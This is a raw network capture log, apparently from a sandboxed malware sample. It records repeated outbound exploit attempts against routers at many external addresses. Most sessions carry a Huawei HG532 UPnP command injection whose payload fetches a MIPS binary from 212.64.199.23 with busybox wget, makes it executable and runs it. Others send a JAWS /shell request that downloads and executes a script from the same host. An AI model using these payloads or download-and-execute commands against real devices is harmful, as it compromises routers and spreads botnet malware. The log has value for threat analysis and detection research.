Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.23	50252	156.182.250.239	37215

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:34.426717043 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.23	34836	100.42.6.82	80

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:37.430464029 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.23	38700	156.202.209.203	37215

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:37.430958986 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.23	58204	41.76.169.97	37215

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:37.461445093 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.23	40978	41.8.93.210	37215

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:37.461528063 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.23	54694	197.179.103.250	37215

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:37.461534977 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.23	33260	133.83.119.49	80

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:38.426279068 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.23	50658	197.177.231.91	37215

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:38.454129934 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.23	45546	197.208.150.161	37215

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:38.454164982 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.23	51236	156.191.162.7	37215

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:38.496730089 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.23	35158	129.59.140.45	80

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:39.449990988 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 212.64.199.23/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.23	46298	197.45.38.135	37215

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:40.473104954 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.23	34348	197.111.73.71	37215

Timestamp	Bytes transferred	Direction	Data
Feb 4, 2025 18:17:40.513917923 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.23	48130	156.132.22.133	37215

Timestamp	Bytes transferred	Direction	Data
